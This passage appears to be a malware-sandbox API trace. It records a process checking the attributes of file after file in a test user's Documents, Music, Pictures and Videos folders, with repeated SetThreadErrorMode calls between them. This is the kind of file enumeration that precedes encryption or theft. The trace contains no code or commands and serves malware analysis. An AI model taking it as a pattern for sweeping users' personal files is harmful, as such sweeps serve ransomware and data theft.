"c:\\users\\ciihmnxmn6ps\\documents\\database1.accdb")) returned 0x20 [0116.275] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\KoscbyYx6wniWKYb2.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\koscbyyx6wniwkyb2.xlsx")) returned 0x20 [0116.275] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OTVx6 RT5zx2uB.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\otvx6 rt5zx2ub.doc")) returned 0x20 [0116.276] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q2VaxE_PmmJ.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\q2vaxe_pmmj.pptx")) returned 0x20 [0116.276] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\SzLlI0eav-FV.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\szlli0eav-fv.xlsx")) returned 0x20 [0116.276] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\U2mxjG2FL5H0Y.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\u2mxjg2fl5h0y.docx")) returned 0x20 [0116.277] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Xr o.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\xr o.docx")) returned 0x20 [0116.277] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\z6YS4v.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\z6ys4v.xlsx")) returned 0x20 [0116.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.279] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites")) returned 0x11 [0116.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.281] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url")) returned 0x20 [0116.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.283] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0116.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav")) returned 0x20 [0116.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\A3TyfwL K9v.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\a3tyfwl k9v.wav")) returned 0x20 [0116.285] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3")) returned 0x20 [0116.286] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\BygMKIOmJygpJSaq.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\bygmkiomjygpjsaq.m4a")) returned 0x20 [0116.286] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3")) returned 0x20 [0116.287] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3")) returned 0x20 [0116.287] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\zVtk1kclNyun3mJU7ns.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\zvtk1kclnyun3mju7ns.m4a")) returned 0x20 [0116.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.288] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\NDeIpAkMX1CfmQx5QtF.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\ndeipakmx1cfmqx5qtf.mp3")) returned 0x20 [0116.289] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\qmFOtY5GmgYlzu-S.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\qmfoty5gmgylzu-s.mp3")) returned 0x20 [0116.289] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\xOBuUPrCW\\xNEvPCIqTV.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\xobuuprcw\\xnevpciqtv.wav")) returned 0x20 [0116.290] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\863xTgYliRZqB.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\863xtgylirzqb.mp3")) returned 0x20 [0116.290] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav")) returned 0x20 [0116.290] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\BYp-GiUUBUdzAuZkH3.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\byp-giuubudzauzkh3.mp3")) returned 0x20 [0116.290] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\DEMSQUqRTksP.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\demsquqrtksp.wav")) returned 0x20 [0116.291] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\KU7C.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\ku7c.mp3")) returned 0x20 [0116.291] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\unBPYC-d.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\unbpyc-d.m4a")) returned 0x20 [0116.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.292] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0116.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb74) returned 1 [0116.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb80) returned 1 [0116.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb8c) returned 1 [0116.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae974) returned 1 [0116.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae974) returned 1 [0116.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae980) returned 1 [0116.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae98c) returned 1 [0116.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae980) returned 1 [0116.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae98c) returned 1 [0116.302] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\1HXSP\\j4Ld8uBhqmuHP3KxL4h.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\1hxsp\\j4ld8ubhqmuhp3kxl4h.jpg")) returned 0x20 [0116.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae974) returned 1 [0116.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae974) returned 1 [0116.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae980) returned 1 [0116.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae98c) returned 1 [0116.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae980) returned 1 [0116.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae98c) returned 1 [0116.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae974) returned 1 [0116.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae974) returned 1 [0116.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae980) returned 1 [0116.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae98c) returned 1 [0116.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae980) returned 1 [0116.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae98c) returned 1 [0116.304] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg")) returned 0x20 [0116.304] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\r0B_UofmUsfyzx3hO.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\r0b_uofmusfyzx3ho.gif")) returned 0x20 [0116.304] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1")) returned 0x10 [0116.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae974) returned 1 [0116.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae974) returned 1 [0116.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae980) returned 1 [0116.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae98c) returned 1 [0116.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae980) returned 1 [0116.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae98c) returned 1 [0116.305] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\66JPt-oVzJiHw.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\66jpt-ovzjihw.bmp")) returned 0x20 [0116.305] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\718D_oTTeLvrUKMe.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\718d_ottelvrukme.gif")) returned 0x20 [0116.306] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png")) returned 0x20 [0116.306] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif")) returned 0x20 [0116.306] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\kMgbOIpQMxVFXlnG7.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\kmgboipqmxvfxlng7.gif")) returned 0x20 [0116.307] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u")) returned 0x10 [0116.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.465] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png")) returned 0x20 [0116.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q")) returned 0x10 [0116.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9f4) returned 1 [0116.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea00) returned 1 [0116.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea0c) returned 1 [0116.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif")) returned 0x20 [0116.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\d15AoyiBl3uE7hiQy9m8.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\d15aoyibl3ue7hiqy9m8.gif")) returned 0x20 [0116.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\hsbtHIVR6ALxLmYiy.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\hsbthivr6alxlmyiy.gif")) returned 0x20 [0116.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\T20oxXsoi.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\t20oxxsoi.png")) returned 0x20 [0116.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll")) returned 0x10 [0116.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\SzJrWGq9Ll\\_TaGTWaeVd.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\szjrwgq9ll\\_tagtwaevd.gif")) returned 0x20 [0116.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\i9n7calXH4A7M.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\i9n7calxh4a7m.gif")) returned 0x20 [0116.475] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\leqYeFFf0Mh2LzG35.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\leqyefff0mh2lzg35.bmp")) returned 0x20 [0116.475] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Camera Roll" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\camera roll")) returned 0x11 [0116.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.476] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\saved pictures")) returned 0x11 [0116.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.477] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif")) returned 0x20 [0116.478] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\IwsRH9V3WgO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\iwsrh9v3wgo.png")) returned 0x20 [0116.478] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\KtMITYU44m.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ktmityu44m.gif")) returned 0x20 [0116.478] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\pIzY1mQPy5z.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\pizy1mqpy5z.jpg")) returned 0x20 [0116.478] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif")) returned 0x20 [0116.479] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\W-iMLOAa5PVVLaHlMUa.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\w-imloaa5pvvlahlmua.png")) returned 0x20 [0116.479] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games" (normalized: "c:\\users\\ciihmnxmn6ps\\saved games")) returned 0x11 [0116.479] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches" (normalized: "c:\\users\\ciihmnxmn6ps\\searches")) returned 0x11 [0116.480] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0116.480] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0116.481] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0116.481] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 